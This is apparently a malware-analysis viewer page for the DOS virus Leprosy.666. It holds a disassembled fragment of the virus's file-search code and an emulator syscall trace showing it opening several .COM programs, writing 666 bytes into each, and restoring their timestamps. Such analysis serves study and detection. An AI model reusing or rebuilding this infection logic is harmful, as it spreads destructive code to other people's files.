Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.666.s

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:54:33.071692636Z 44 PC: 12b9d | Get time 0x12b9d: cmp byte ptr [0x106], 0
0x12ba2: je 0x12ba9
0x12ba4: cmp dh, 0xf
0x12ba7: jg 0x12bb2
0x12ba9: cmp dl, 0
0x12bac: je 0x12b99
0x12bae: mov byte ptr [0x106], dl
0x12bb2: mov byte ptr [0x24e], 0
0x12bb7: mov byte ptr [0x24f], 4
0x12bbc: mov byte ptr [0x258], 0
0x12bc1: mov cx, 0x27
0x12bc4: mov dx, 0x137
0x12bc7: mov ah, 0x4e
0x12bc9: int 0x21
0x12bcb: cmp ax, 0x12
0x12bce: je 0x12bd3
0x12bd0: call 0x12bf5
0x12bd3: mov cx, 0x27
0x12bd6: mov dx, 0x13d
0x12bd9: mov ah, 0x4e
2018-12-17T21:54:33.07445101Z 78 PC: 12bcb | Find first file
2018-12-17T21:54:33.080247669Z 78 PC: 12bdd | Find first file
2018-12-17T21:54:33.085899687Z 67 PC: 12c16 | Get or set file attributes
2018-12-17T21:54:33.104263122Z 61 PC: 12c1c | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:54:33.115660893Z 63 PC: 12c2b | Read file or device (Read 20 bytes on handle 5)
2018-12-17T21:54:33.119830948Z 62 PC: 12c5f | Close file
2018-12-17T21:54:33.126533673Z 61 PC: 12c68 | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:54:33.131762297Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T21:54:33.137258538Z 87 PC: 12c90 | Get or set file date and time
2018-12-17T21:54:33.139334975Z 62 PC: 12c98 | Close file
2018-12-17T21:54:33.146603635Z 67 PC: 12ca5 | Get or set file attributes
2018-12-17T21:54:33.152073765Z 79 PC: 12c4f | Find next file
2018-12-17T21:54:33.155725753Z 67 PC: 12c16 | Get or set file attributes
2018-12-17T21:54:33.166903072Z 61 PC: 12c1c | Open file (Filename = 'PRINT.COM')
2018-12-17T21:54:33.178059974Z 63 PC: 12c2b | Read file or device (Read 20 bytes on handle 5)
2018-12-17T21:54:33.188457993Z 62 PC: 12c5f | Close file
2018-12-17T21:54:33.191421883Z 61 PC: 12c68 | Open file (Filename = 'PRINT.COM')
2018-12-17T21:54:33.197023599Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T21:54:33.204075519Z 87 PC: 12c90 | Get or set file date and time
2018-12-17T21:54:33.206439175Z 62 PC: 12c98 | Close file
2018-12-17T21:54:33.21154924Z 67 PC: 12ca5 | Get or set file attributes
2018-12-17T21:54:33.215485646Z 79 PC: 12c4f | Find next file
2018-12-17T21:54:33.21908254Z 67 PC: 12c16 | Get or set file attributes
2018-12-17T21:54:33.226806341Z 61 PC: 12c1c | Open file (Filename = 'HELLO.COM')
2018-12-17T21:54:33.233715656Z 63 PC: 12c2b | Read file or device (Read 20 bytes on handle 5)
2018-12-17T21:54:33.241551144Z 62 PC: 12c5f | Close file
2018-12-17T21:54:33.243716082Z 61 PC: 12c68 | Open file (Filename = 'HELLO.COM')
2018-12-17T21:54:33.256592132Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T21:54:33.266103828Z 87 PC: 12c90 | Get or set file date and time
2018-12-17T21:54:33.268470517Z 62 PC: 12c98 | Close file
2018-12-17T21:54:33.276893141Z 67 PC: 12ca5 | Get or set file attributes
2018-12-17T21:54:33.282305677Z 79 PC: 12c4f | Find next file
2018-12-17T21:54:33.284938953Z 67 PC: 12c16 | Get or set file attributes
2018-12-17T21:54:33.294637311Z 61 PC: 12c1c | Open file (Filename = 'PHANG.COM')
2018-12-17T21:54:33.302371177Z 63 PC: 12c2b | Read file or device (Read 20 bytes on handle 5)
2018-12-17T21:54:33.308717493Z 62 PC: 12c5f | Close file
2018-12-17T21:54:33.310559585Z 61 PC: 12c68 | Open file (Filename = 'PHANG.COM')
2018-12-17T21:54:33.320685197Z 64 PC: 12a5a | Write file or device (Write 666 bytes on handle 5)
2018-12-17T21:54:33.326140038Z 87 PC: 12c90 | Get or set file date and time
2018-12-17T21:54:33.327347773Z 62 PC: 12c98 | Close file
2018-12-17T21:54:33.332813833Z 67 PC: 12ca5 | Get or set file attributes
2018-12-17T21:54:33.337580137Z 9 PC: 12cd4 | Display string (String= ' ')
2018-12-17T21:54:33.34141777Z 76 PC: 12cd8 | Terminate with return code (Return code = '36')